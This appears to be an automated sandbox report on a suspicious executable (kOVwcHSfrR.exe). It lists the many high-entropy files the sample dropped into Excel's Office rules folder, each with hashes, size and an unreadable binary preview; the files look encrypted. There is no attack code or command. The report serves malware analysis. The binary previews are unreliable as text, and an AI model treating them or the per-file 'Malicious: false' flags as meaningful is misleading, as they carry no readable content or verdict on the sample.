..".....4e...e29+Zn=.....l3-.^....l..K.#.P..w.N..lqz..J.............{........@;..x.....}...c./.7........?..09....@..V...g,......[..Q.d.=.-q.Q].uR.zO^...).W.,........S.ov=....O...Th.j...i.......<!cQ...k.+.~uG..k..2]4.l.Nv..[...:..4......~.u._7..g$.g!.....06bqF..A..Gr`...:.g.c...)...8..]./.[.@21/.q..8i..........wN;.j...n.?.....WA).t......c....2bo.....A.>Ypc#..\|.O.......;.q.[h.^y:..........;'I...c...Bz.7.......a.>.)+.......S..g.m^.#. ......p.....<o........apd.o..g.N....?S{_.(.X=...._....$.)......c..G.d..)....+1y#.&.DQ.....^=......&..R..F.B.r0...~DD.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.884151999617487
Encrypted:	false
SSDEEP:	48:7xtfJFxYOjIDNKg9jQkl5fC7uapHszXMrbgyD:PaOjgNByyCCapHswbga
MD5:	3B9619AD71DE70DA7DF4A7AD0D484D4F
SHA1:	F11FA49E92E395B80F2E1A812AE091EA1A3A4012
SHA-256:	544319D29254C014739B84BDC42410322552502693D87E942BCF4645DDBB2D2C
SHA-512:	A453FB09BDDBB5CE85ADC011569213D4DE999D01B1044D146AC46BB2A1FE515344F6E3DAC1A543E073BD26DA1BEB4BABA2D77024C5BECED33534B0D200F3EA5B
Malicious:	false
Preview:	<?xml...R..I@a.z....dT...8...C....+y....28EF..mw.._..0.{-G.J.c../.......L...\!..K.6D......-k0>^U.;.U.j.]D....K....E[8."..Wqc<\..!..2r.nR..eiy..<..uC..rz....`......4nW5 ......lq8?._....R"...N.\.:r...=.&-..i.%.R....../....s..S?w.M[....`1../.;.0.l.S.=....\3..xI..;B....gj...u(...a6.C.3..,..8=.#o7..Z....@m.%{.........'A}...........8.C.v.....s.......:9......LZj..B...3....xSy....S..qZ...../w..j......Z./...t...@aIV.....Nyw. v..5.....<."jd....(.Q..n.5.&>...V#O.......p{.M^..+..::....+.5v.............`..K.W5..I....n0......z..... w...u..../.C...sH...~.>...E..........)3}..w.4........La.H......0.K...z.9.?.G6l x..0...5...bG.3...wd..\7k...r\|.....2yY....u..T.$B.."...t...<._[.v..Q..........X.iM.uFB..U...#y ..A..<t.{.;.,...D..q........y..n`a.d..0.P.m\|......r.f1.9......{.=\|...a.].v.L.{..u.=....[.T..t.8.+.U.?..#@.\|b..]"~.l.tD.w=..v[I.E$.r...k..z.....K.#.[{.\|..\|:>.......!&.I./...H.P...L-..,............k..w...\..B=.UG!......N.G..F.C.%..tYU.=5.F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8954369101863255
Encrypted:	false
SSDEEP:	24:U3g9RuUsyyvq0dnuh+ijxg5h6+q/va8VQ0kAmgzR8C2uVoPKvvZuzw1bD:UQzs1C0QhZz+0y30Ggz2aqzyD
MD5:	AE4372FD9DF2DB2E62E6559B4ADA4B35
SHA1:	D0FC0A6C9368FCD012D871F2A19CFFE335050B22
SHA-256:	2B979BC8782AE01327BE9A75D9DD2A6EDE1384C0EC30F87C49DA719F5B7008D8
SHA-512:	94BA0A2E89E5E5329710D1472BBD7F06FD1C0E3DAD945F8F66D38A457DD65ED0F04AEDE61D926C9AF42B49927CC1F5E7665DF1B27BAEFC76F76B93DBDE825340
Malicious:	false
Preview:	<?xml<R..!=[..n.G.I..._....<..w.C...E.....KB.CK...t..zgg.n.L."9F..t...[..g..?:2........p-.'........((..\.'.2..J...i...F.7 .v........q....Z.V........[1Y....../.;...l..n^b.Q.4'}.....B..N...I.p.^...".;{e..:uh.Q..~..Q&<.@....I....qK..<..Y..i......e..FJ{%H.R...M.XG..v._.,..,W...>L...g^......!.....N...{.{..+.8.S.Wh..oO.%.....H..~.R..P~... P...f.&....q......2...0.l.+..RJ.i.......q.`...I..m.$.....!......'..4..Z'Kv_.fK..C...[B10...x..........@E..W............?M......d.2....=Z\|.v....vx...Lh....]x.......F+...ni..yWZ.i....P.+[...).45~B?....W.....3r\.. .`....]Ql.\|....s..........oL....Ec.~.Y.?E@/\..](..4.^..p.dP..{]&.............E.].....Fn6kM..oC'(3L..>E.3..=<Q..KqX......<....uYuL. .h.U.....E^.Z.ai%9...u~Z......\S...N.....4..O...N0..gN0W....c....i...U."0...Q?.#.Q..M..+.S..[.S9.I.........Q..~]OY...l.....Nm.........3j..!.^..#.\.~...;........z.......8lK....E..!...7...,6:...K......t&.<..#.k....!......-...\|{I..R..E......A......A.s......}....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8833931469934
Encrypted:	false
SSDEEP:	24:+FKLu1rNz4WjmYHpR9f1DAzOPqzuVDXE1eMAj95XQ2asKTYeMl2L13vjm+iw1bD:+IupBdHbAaPSeLsQp5X92YeMlupbiyD
MD5:	11B8CBF4BDA970F9BD24EEA9B2B71566
SHA1:	9106B1D95348D161F740C2E03D1DA00810FFAC40
SHA-256:	B9BA3FD85F3DE671A1B6F73C456715F83C1BFA36EDF9066636596CB1F1135369
SHA-512:	2DAD13616476044C3DDF21B86A62691323E3515FAE44102B16C92C946FF2AD1F8B4DE65C8A152F2D8E25121F76433A8559C71F0EFF129267980049C940EB1831
Malicious:	false
Preview:	<?xml..Ja..M.zS.A.`..j4eAu.V..:f..h..jUO...s(...0..:..%V.u....s...-=.._...wo....B.o...D.........b.^.gy...W..r..a.....0..%k<)r..K.:Gz...Q .me....#qx..X.[..d.. ....c...4.{.U.baD......^R...Vs!.2I9...yD;.."......{x-.w.1i..........{......{.V_F.S........j..'}...8......K'..K.._..'.ZpQ~+..0..^0\|.>..._....&.Y_[..e.........5.pa..;.8.A....,.D..#n.....0...Lh.....V.a.t1\|....?C..en....:.".ZC\|..d;....H.0......o.,.8c..bO..5C..`.M.....\.^....^raU.k7.......(\|O.aP..g....88...U...?jq..3>.........<yX.......ov..F..Xa....z.qt?~x.A7.%......Bd..y.2.rJ..5v.7........L..yJ8..T_..>.V....w.d9...s.a....j..:..A6...[%.Ch..B...Zy.(\{..`.Y.0..No.>%.......5..5.V@....>.l...d.+...]...X.e..lSw..Y..Q...%>Y3f......GuA.b.........m..54M..a..&...c_un.,.3...M....j.t..@?Eu..K...lH.D.g..A...+g~...c..a....E.m.r.~)..{`...'..DDm..e..$3...?..h......j....).o....:...b..2_.....c...ob3.sR:....'..uV._......u....E._.n8..,.J...2).Q.(ec....Kf..y.w.6g..O7........pQL)..z..Y...Z..\...y.....8i.b..X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.893939353673227
Encrypted:	false
SSDEEP:	24:EQzHhqssh4cc2edsqUJjfJ1fdGhfGggCQSM/mwB1l+1kpz3n/+Z+oMr+AvyGu3Uu:jHhqssCc8dsqUJbJmEusm2vGKAA+65yD
MD5:	DB69CF774A7491A4A076B67F69592A3B
SHA1:	A139863688EF3CE5999C998FA47D57A2B5B580A2
SHA-256:	FEEF3CA8433AF083F7142AA1C5D5129EF69EFE684409B628413E7D0078B451A7
SHA-512:	3FBBBA20F390ECA98D05C1A69FF95A010F867F6931573818570C8D26821E6139B9C4E6FFA618B6460E8D990FADDBF12E0FE09CF121E194C6FF5F9E24C4D9CB9E
Malicious:	false
Preview:	<?xml;Wc...~9F.3}......c;0y.}...........j..-=\|.uX...\|.$..vM....H.L...g..:..tY..7g.J9...?;.R... ................a.^.....T.".L...p.t..9v3...Qf..J1...'w...S..L.R.....R..t...S.;./.o&<..5..QT..]....w.G-9...3.d...7.=\|.?.V5....+.}Q.ud...[...k/.e.!......a...<2.2.@Zx.}?Hl...L.7/f)$......)v.......t.Y.9.I.c.o.Pr.Q.~Ao.G....-.R..(.....p........D...}.."....d^C.h..Fe..]6..f..l.....`...H.>Y..&H....v........../L.j...V~P.n.5..e(px2Tp]. ...[. ...YZ7(.2.9.,E...-...w.[..=KI.....1..H.1..S<..-...4...j....5.0....M>.+...#.qPeXx...U,.F....jU"T........{qQQ.....T......7.....VN. JR'.2.;....a4..$.v8.!..`.>..w.FZ.X......C....e....M).x.jj.3.....n...y.wtX..QfW.i.@P...)...T\|..5..RX....J..K...K.8.....6.....wmTYf.x.3..%.q.X....<....B......m.......Lc.......VJg..../y..._....c..]W.E.."......-...a6c.:M.wv.k.6.h.....J..0 .'A1.....0.\|Y...o...J.WBZ..o......u..G..3b.....u...i.&!.=.MT..D...Iyr......$)..u....z.W.S......_.f.zX...2...J&.C~..v.j&..._@39?.^...I..z*8.{K....p..S@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.891973227034948
Encrypted:	false
SSDEEP:	24:4P4BY/4fncL/KtezNbt0G/ZuBFBKC78nw/yTMPh2aki70CQXGty+3Aqw1bD:xS4vcie9teBKg/yTMPcazm6y+3dyD
MD5:	9BECBE17666C6854AB60B1B45F9CB18F
SHA1:	BDA4E5A07130EFAFC6E63221BB820F4720E7A8EC
SHA-256:	E71372F22D9292D774C272F1ED6B2AE019CC5BAF85DEABE03F288CCAE8ADB8AA
SHA-512:	3C4FA08171612EC80F01526A33B3DCC2883BE3CF2436026EBC979C9FECB4FD073ACE5D1DF90DB7BCBDB9831BEF6CB2F16C514EA945B56A60631284FF208FCFB3
Malicious:	false
Preview:	<?xml...o1...-.w...1ab....4.B.(.M..u-]U..KN6..s.#V..&..}.2.v5).W.+f...q...^~E...'.q.0hWs{......_...,......k.#Q.....P&..@K..E[..E..qP.I..X.t@ot...\U.R..j..X%.NZ.....X..5.ez._.oD1; ....l..G..b@$...O..sk.r...#.b..t.. {.....X5u..o.aY...A...Y......(...U.....3kE.e..v.:C...:....}...o..4.....'......f............1......OTw.....e..t..4......c].....s"+%..;...H....E)...x.U.........X2..^....X...=.....i....V]..kN,....8.%..=.'.+..2...=.....z..A.>.T.<.rch.D.v...j(6l..Wwz{.\|.1.w..f..(.3rp0...]F\|.......Q.\|.T.od.........m..T.y...y..D.?......K{....HA.Av....@.s...`.A8lSN..... ..4?h..c..R...N<^.L177..S.S.v"UC.... 8...CY..I?=..0)v......&x..w..}ye.[.%}....?.2...>W..#n.ol.u.p..............s..}.M.R$.X.Z\w....V%...y..Bl.T...O...A6.y..L..R.(...XVC......DB0.T...... EP.G%0..oY...O.\}....)....E..H...C..._.xi6..:..i.{..]..j.....j...q.48.....".../H.c..o.*.e-...y...x...5.bE>...=.~.t.#.bz...........;.....,......Y.N)..A].D...r(.{wt'.....Q3......6.?.Y..i~.J...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.894207848788608
Encrypted:	false
SSDEEP:	48:LSfBWinEPUNvpeJArJvqweyjLsu91XYnd3G9qXaED8yD:4cinEPyhW0vqwey/sunXY0PED8a
MD5:	B8935A4562CF83C058FA52892C7519EE
SHA1:	F1B8260449471247688111EA2AC4FFE65B162D5E
SHA-256:	1A59B06015BCA3F1D07B6A57ADEAB0A980555A52A681A484AA91A8DCCC8964C1
SHA-512:	631450CB6AD99D53CD41EB83D518E7098E96066002933901022EC358D8F228F640E8EE53DDB31585A2D73D6BE56DDA222D108AB4FB489F415479D084C0318928
Malicious:	false
Preview:	<?xmlI.o\..p..9.6.%....s@1R}.<.}.....>.%..a..>s-..G.p...$&W.O.(.(...........X.w......tp.x...]..@.._..U.....;3..0L.0..CZ.p......A..R..^...2R.ENX}.%...j.aD........B.d......m...q..X.h.{.V...v.....b.....@"..9.]........NA@..4A....Jj$....:`...a....I....BhB....Ap..........z.uf}./..;..qi.21.c[.i.Lj..?a.2]`p..%..k.W...;dl...BT...._.!bV.OC.Q.d./-.([).....e.g)J;.w.<.....C..3...a....V\..n...0..\|.kd..<...2..\I......C..M.WR.i-.a.eJ......".{....8..U4...@...t....(...B}R.".(3i4A....../_7S.%I.n.rs.....j.5;"..#...C3.8..'...i....}?....)1(.PE.tc..qD..I...s<..#.....?.4o......v_&..............g..h..n..........Y.]...........a..81.;X...+.?...R...t.Tp[..b%...H...c.....,..D.P.I..a...e.^.-G.g(.t;..6.+.)..M.s-jx.a2d.0Y.w...J5.4...Qx.m.<..3o.U...?......zo*}.H.7EN=...S......h=021...n...9..v..n..{)A3.[9....WN..1(......xn.OT/.....Cf.....G.~....2.j9..9....A..'j]I..+._.l.7`Y}.8..9za.dAe(...W8..^DS....au..`.E....S.X.9. .f.Z.GNT.4..!x..Y.0..C.F..r~....y^o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.892384579774301
Encrypted:	false
SSDEEP:	48:iIQx6zLY8g1E6NF6WoRVwzuznfUEA3+ukeHyD:PXg1fov4YRAPa
MD5:	6D96473D156C5B4BA53E5142CBBB87ED
SHA1:	3A4FA5387D34A360322F57A640DC5A152EE2802F
SHA-256:	FAE305FBFEC5B3D2F6F4601C7DC7C28F43DD35E9442BA95EBC999B977C45EDE5
SHA-512:	20AC2339F7406788F87CFFF6FE18B1EE1ABA3BDB2C06B5211EFDF9D22C659623A668E3E9B62FAE63CFB099B47825EB8318FCE1EF817814CFDA7C5B35CC4EC6E6
Malicious:	false
Preview:	<?xmlg(..g..4P......hF.]...CN9..+N.....p...+.;.h.rW.87...p..Z.....<.`!..l9..F.gC.....jm..7...).=}Jr._V>U..v......k........:....I(.L...b3]V.-i....J.?:....+.. N....".....'p\..J...0.\.~..!,.......c.w...B..(.........&..8.P..dpK)..oW..@.FM...."..pO.".l....8.ao...UE.dq.0....~s0[...=.....A..rv._n..).8...^Ox...`..J.n.a..A.Na..."..M......A.P.{....h.2...sH..(-.F......^...A.!F.....{..i.{..5U...Y.]....y.59,HPFe.c..&D..>.`q..wT.&.<.~....r....J..?C;".dg....&.B..K.d.'...~....1........B.....d..q..l..!."..K.....[F.`,#P.C.$....((.......'>.O....jh(.F......Kg.R...N/....L....r.C...M.....0.f.l^h..b8[-...]..r.Z.+.!......0C....p...........C7?V@.=.1]`.}....W...X...8.OpG=.)....2`..,x..A.7uY.JFz...bUh.3.....e). .p..c..........9...?v....K...'.\.RuK.....3..R\.L.].H.&..\.....'..V.G.p..)...."KKY.....BN"v.G..h.k>...4=(..J..........n...H"...f.L.....7c....>Yfo...Z9.y.$..gm6........U>.p`?.I....Q.H...lbt..I....i....N4/.".>...<r..o;hN.,..bdY.Fn..]......g.bh...:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.876115326639751
Encrypted:	false
SSDEEP:	48:A5Io0Rn16hqTayGlbNAAwBfHg/s2HMuGzPmQl0cnOgUhjVjRyD:O50RnzayGZWBSU2sdnOdhna
MD5:	CC2AFECD08DEA102E15D4947A7B2DC03
SHA1:	3ED458EDA7D2439090BEE36B33105C7933DBD218
SHA-256:	8C694FCB4CD28C89BB9170F93AFBF5B610442D61FAF58D62FF472CCDC741D8C0
SHA-512:	B9FF1A92C5B6AA6CE58A558CDA21B7B4F0F31330305B372960002D94CD171B0CC8512B83A2A4D77AE9183B8C503233DCB4FFC6F8E395F9F3207922F8A704D1E6
Malicious:	false
Preview:	<?xml}.&.s........._$..cl......2..\|IFC..{....F63.....a..5>5)zM,......,.f.}..\|$\!...?<A....uu..o.kbt..{..$1..:....Cl.'.)".W..........}8...e.v...J.^.fFr......@..:&.U.,...g...i.....+...1fH'X6...r..=y..@....lO7.g...=&...P.F..,1.U......~Lm_.}..3.f.#.......r(I%.\.:~<...H......O8W.[.R.'Q....}.6.bN.I..%.c./...m.u../`...U.5.r..N.d~c-F.2.9..A~Yc.8..-.=.}v.^.w...Z....qms.+.O.....4.;r.............?....Z..y...ib.).............$[....6..j..V..V..kWA.Imw..\|w6...U...re)bR...2..E.....zr..f..z.L.K.+Q.....#...@.....!:.8..]..%cl.]..X..0Fh^i.1..u....4...@..z9.{..~G_.w.R#......gC......4~#.d...v..6..6......O...V9VB.....]\|+....me..4x.\K.X.._..-xT.y$dP...{51...:.....n....a.....u-7;$9b.Z*.G .m.{.Z..9..r...E.of.F.=......'.?.G.o..0l.u\.v1Q..'a..tri...}P/l?Kg.:..i:....g........4.I2..I....x..k.......K.u!.S...;..(r..@.z...]..4F.....4?M.F...6<r7..n.}..[...T2...&67;.."....Nc...z #.....-8....)..H.L...k..>..-C.`.%.>[O.g.n.2...-...-..t...Z..?8k..."..N.2E.A...P.L8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.877036376706883
Encrypted:	false
SSDEEP:	48:ZJ9JHqfLSWWeUdy/YlbWG4v+Ypixx8r/Pn+y+GbyD:ZJ9JH+YdyglSG4v+Gi7sXt+Ya
MD5:	6F252721192B864C235B40163094E19B
SHA1:	8904A0D31984AA9112AB3C2A8DC8380CEE1054F3
SHA-256:	8C6A12BAB0BB71D9BB4B75904052EDEEFCA8D6E39C8B045DA610C9C43928522B
SHA-512:	AEDBCD0676084ABA0CBDC4084A26570B19AFC297B357A0AF2DD5EE642298390E7911F5E0A860BC9A835953638D15E6BF5CC947EFD7323057AEE9BCAAF72C10DB
Malicious:	false
Preview:	<?xml...........!0#...A...q..7..n../..T.....9w....j8........=..e..,..G%[..$...#...E.j...z(...b..../.....8.....07q....[..Sn..l...+.d..=F.\|...c...\...i.Q..z..n..t.d6E.\|...C.>..f....K....k......x..T...........X.T....5.O.A.~f...b.qlQ........@.\.~..._...i..4_...y.l..0..o...j..,..';......dP..4.Ao.,y._.....Y.T.=.bKS....VR-..,#.g.%....Az.a...>hx.....:...$'.T.....6.Fq.LE.X2.?M.....7......B5o......8...R...O...h..M.@.....h....._K.....W...'....[h...v...Q.9.Y.9W.1z.EH.....%.uA..-..[.wG`..f.`..ea.O..k=i..,..>U.]..(%.0#`...._...(... ......=.n.%K.0....U.................a......G....].m..#joV..,:A....#.8;.#..q..$........`.'..m(0..RX.....4.?.:@.#..;..A ..+on4..L.M_......../...).+L.0.f.8.kk^\|.b..{. .?.7`{RR...........W.........h.Pp.fNg/M.{:F...P#......p.b..\|...".{...G..lo.............d..;.n......@..G..Jm....:.:....8..sG...Z..C.\|....+L2.l...\.....`.9....\|x..1..K.1+......./.\|...:...$...!.. ."a...'(..vT...<..nZ......k.EoO.c^........jv.b.1...R..s...p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.8795275575327315
Encrypted:	false
SSDEEP:	48:NMlE+AHjucjmpGVkKJqSftFcWOESEqB8yD:NM6aQmpsk4Jtrla
MD5:	8FD66B38D2663F76CA9B4E4DC3C53A52
SHA1:	67E18399E026B1D9D8EFFF0F15A11660E8286393
SHA-256:	468479341BDB051CF21B512D13007E1F8366D5D5FE61D1500B77A1DC2BC99CD1
SHA-512:	17F37E4FDF0D57AC4EF9149EFF729095E10B0E2753DA4CD0344A7C02B2BBC64D1987707D2F5C6A8847B234BED78736D137727F048B0B182B50EC93F60BD55832
Malicious:	false
Preview:	<?xml.E....>-.C.X.X.;P..K..`l.a.e.....I.M..;.jq....a....d...(D.O..p.......m...D[.J..}9I...52...b..G.4.<\KL.J...SbQ.q..G..6...G..I..z6Mb.E.Q.&O..YyIF.,.$y...=.q.@P{.H..Y......L.l.3.....2.\/...i.q.?.G-..f.U1.5T.aj.)..?2.f.^.."..r.G...5..g....9Wd.(.[5...#..O..~..kR..H..!.e.C....k3.7.~......9BB...A....a...=Z.}. ........O.ph...01.7..s.G.?.......h......5....nl.{...3...W..V.f=X`.r......\6...<.bg.q.X.7.(.d......3W. .!..4T<.v../z.?...g..N....>k.)h......d...A...pO.>.R]._q.....5.SX..}.S......s.!...-3......x....i..Uo....)....]..}...N/....y..A%......A.............qx+.{..F.m^....qrT..n.p.0o.4...Z...:.........HI.4..).9m..sp..j$r..y&v.~.z...dVv.Z4~.$nm..DtS..Cs.D.!!.....c.z".......RF5..#.g.S..8.nQ.=..ms.;.F...Y..m.X...q.g...M7..6.y.O.;...xU.O.g%.K.l...J/8. ...."}.&...\...L.T.....e5....s...U&.R\.{L].....@..2.z&..0..l/ETd.c:XR...>;e......p.....r.\|.#Q..i./.9.a....P.=&...."2B.A4\..tT?.....Zx.)z.qi.n..yJ..Z.bO_.W....[..(a-?D.IN....~..+8E>...2...,..RCU.5.e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.87923933809987
Encrypted:	false
SSDEEP:	48:7OYyUKrqEfncrY5z0Ehff2XPA/gGq/qQGM+KiHyD:7OYyDqYmY5QE5DjaqQGM+Kwa
MD5:	935567CB9F0229DFEF0D19193E22B94B
SHA1:	0DEC1A62F4A086F65D189D7AFB68A56AF763048D
SHA-256:	5E0D0538F3CEF9EE88041A23FE8FB93F6B4273F7B3146CB74C6503D58CE4CE27
SHA-512:	5CB2302A96C5A3AB0983AFE15F0F7588D29F79570445698C73CFBCD51278475916E9695912D2730F509074AA50C5AE39B8578C10F9F519D08773CF778BB98176
Malicious:	false
Preview:	<?xml.`V..:..G...p....(.k.rRW...U.(@...K{U.99....Z0kt.M.dMc....: Cm...&K.Z.....eU.2dp....../.w.....U7/....kiw..L....0.z.!t../I...G...pf!..d3....Y............Mx..z`...p...0...@`:......v....e9...bq.3$.h....@.B.#O\|v....Lg.$).a...i......I.[Gz]....Y./.>.7....G.+d......R$.....`...(...l.r..l.Oz.z]m.......p..:Q.Z...So....C..b..1X.u.-..:'pp]6...s...^W..yx.....U.^.;.i..r..L.\|....R B.zsm......}......=...{...N2...+ .m..>.(.'W.j\|..J...y\|..].@...D......._..`...9@.d.O.....T..g=...>%...C..?.S..YM&5.l.T..c..............5..W....#(c...$H/w.b.H......(c.%..a.P.....R...keB\.<b.>T.s...?......O~.)...+Y....,.J.....AW.u.#A.........4>.Hm...'.\|.......n.%rl.."v..<.f..4u.F.4.)J..`}$c.......e...R.#.3.u...P.k...:'H...A<.>.Akv.../.+. ....'@......K..!..r?....zr.J.i&>.Q.;GfU3.e.7.6..mw~..3t.......b...=6x.L.s........._.df.fPQ.}^^.&..".dY-#l...%..d.Mz/v.j@?.>.7K....#a.X j..,.......(..'.T..r....j~$P..y.i...O..I.p.."}lb.=.c..nd.g.0O.1Q....5@?..ZE.r.+.B....dp! ......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.880758219756597
Encrypted:	false
SSDEEP:	48:EHZ2hxIDHSbtPO5033n+IbxyhRlvn7uGTyD:DzfjHntbxWlvn7uGTa
MD5:	36D07F53BD019661CE21BA64D73D277C
SHA1:	CA98D5663F840C0827138238FA25CE0169A00B8A
SHA-256:	3E86FFDEBABEE1043A80F96CADAA9F4F367D85DC1B835BC3F36A66FECDC8C54E
SHA-512:	CCF7DDF406F64D27EADB62D1D73425443A00964FC3E7766F0978BA6058CCB2F2BC2A8BA350F9686FF109CDD367CE0506C37A578EF250FEE103591234FD9B82A7
Malicious:	false
Preview:	<?xmle.`zg..Ji_...6....c.T.G...f.b..&U&.T_..vF.p..C.p..$...p.....O.-.}...[klT.K.1..$n.8o."...}...^..T[wF.7...#..a....o.-c...P....~...S....c]M......A!.-`..s........Qv..e.l.j..T%vX_...Lg..z.r:+.....S....g.A.....c\|.6..:Im.fo..]1.F{.......5...sG...M.n.<.....\|Wn1...w..JH.......2...6+/LJ,..~O.7........V....5.n...6.-.k.a.KnN...bu.vI~..h....H^..+.[.~.)..F..B........C}..].."...Q.B.h....uf...7......:...ED6Lg..UP...b#.....u..V..vc..hB[..W....Qr.:_..~..v..X..:...E:.<g..7.../..\|..>9k..Q3%...M=....i.{;l...2H.".j..rG%JD,e.^h.J.\|Q.3(.y.H...{yt..r9. .W.....C.\|..fX;3M...F..&.0h8.z)..P..'4.^......HH.ar.e.#.w.....cp...7I`.._t\|.y...y1>.....C..........J}...7/a......%..E....jh.4K!k....!.nC....G..6-B=.;..P........5bNvS^a....).1J..L.H[s.......}.Z On\|..i.7BJ.OV.oq. +x?...H?..yK].\...EW5..=...(.;I...%.g"D.DY...@.r.go..Q.\|...W`...n......F"'.....T.x....Q...#T...z..{E..i..T..,.S...^..8...UN..C.........".>.\\|>;..k.....'..Wk...D....C.g5.<...y..>.P m...._.g~9....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8949905791272155
Encrypted:	false
SSDEEP:	48:nXF73pm+kBesshf7dPTgbzs2ZqZAnnMVzyyD:nR3pm+kBfshf7dPTVaAoa
MD5:	BF57A5912F15B0A809566D1058C890A8
SHA1:	480B86ED19AE4F97A1B4A6B74222E87DEB18E586
SHA-256:	0E9687C318A3029755D7851D81F5D9E6381BA7AE012D0C66D12A8951B4693BB6
SHA-512:	39FB33A6FAF1BFC43B7FF963E8DEBAC0A2349C5CADB343F17227364CA4EEE8F1A99CF9CA208649C889E2C913EE38CE0DA5F6C92A8E39DE983803C15938CB64A0
Malicious:	false
Preview:	<?xml...l;.N..U..5..h....V..Q7... .U8/..6w.,mD.q.N;....a........;a.zG.kUV.... .L...t...._...#Mr.:=%!y..XYvE..^..x.+N........,...'.S.....k.Q8.`.Q-.8".m..?k..>.K.F,i.yE.9..^.h...8.}n.'..~...u.. ..........B...k;J{Vj.].o%.G.....?.1.}....}yy-L..l..>.n4X.....S`..)..vk....^..q.......i0.=Vr...E...\|D...j.0.....tFu..\..OZ..@.............N.Xmp...A.......Cs6..q.[..j...2.<t3^(.$..{2.<...lYUF..a..q.df.A.q..8.r...K......".M....g91#c.....U.->.-x@.zN........\|....{..aO......qyz..%..Q......Ug....E.P+.K....tt..T...."u..V...fw.;a3].2...t.\i..C..@.a......=..),@.../..H.9F..A...s.1......T].6.b...:.B.T.~...+.q.'7u..;8$rP(=8.e..0.Y..s.BV........Nv.TD......7.k......`FX..V.2..m.9h>#,.......#^v.Z-..t.u.@..\X:.:...&./G.=8..7F....F.....O8.B0../..%.......7.^m....h.g..o1hX._..........U'.%X.....lo...f.v. ..9MA.R.+S.=H[..].'.dz.I...{..4x..*0l((....O..v..........Xt#..L..h.j.....)u..!..=..#.Js...s..).}..f...y.........J>J.x.YN..q..X.....,.FH.=.W.C....'...Ja3.:...>5..2.._;..w.'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.89388758420829
Encrypted:	false
SSDEEP:	48:zL04B6Wh1CV4b2TFqjHUPdlAiGQn85Pwwk9yD:zL049zCV4ihcmSO9a
MD5:	8336DA7E092E6B69EEB2BE22E4F98B07
SHA1:	BC209358223C7B1694ADD00E321CD5D51CEB2043
SHA-256:	708EBB5B185EE22DCBAD6AF33708245C4952B621BFC30051F70B579B15451AF7
SHA-512:	C6E0F027ED37ED27C9D4428983DDD9B92BA365C68FDB638D51796A6D705FEE74217DFE772C4C3754811CFF17E8EFA8E81F78EE7CD5E350595FBAC2F20947CFC3
Malicious:	false
Preview:	<?xmladp..]...G........ .BJ..?..:J`NF.z..j...J,....kA..;......3.....C...L..y.E..9......<F`..<P.NAZr..F$...!y..g..]..MC......k.b...<3....O.C......?..=w6...mh...5..O.F......i..<...T!R......IW.Y......j...I.N+..c5...uh.\|c..O....>k.+...A+.....Y.9.o.y./.Q]cB.ks....l..MSs.}9...?h..G..\|.b#.$.6&....;....}.=...J.i.@.....o.s...$w.....vX.V.......LD...h....N._.\..j.F9.......-?..f........31..y.....[.$.bQ/..."..........1..F.....6d.....e&'..<....T..v....P...1..5....U.+...r...P[.>...... (......%R....a...,..6...d.P....oN..T.1@L.k..5..JE..'.#"...;\|1..^.p....A.Tm..J.%.....E..._.....W...=..`Z.ezn.B..DN.....1J"....o......._...\..h.H..==.eSH...h.3.nT.h.}.Y/.J.i3.Zt5...S....A._....;<..B.~.P..e..2.:y..q%.V.#.97.).?.2 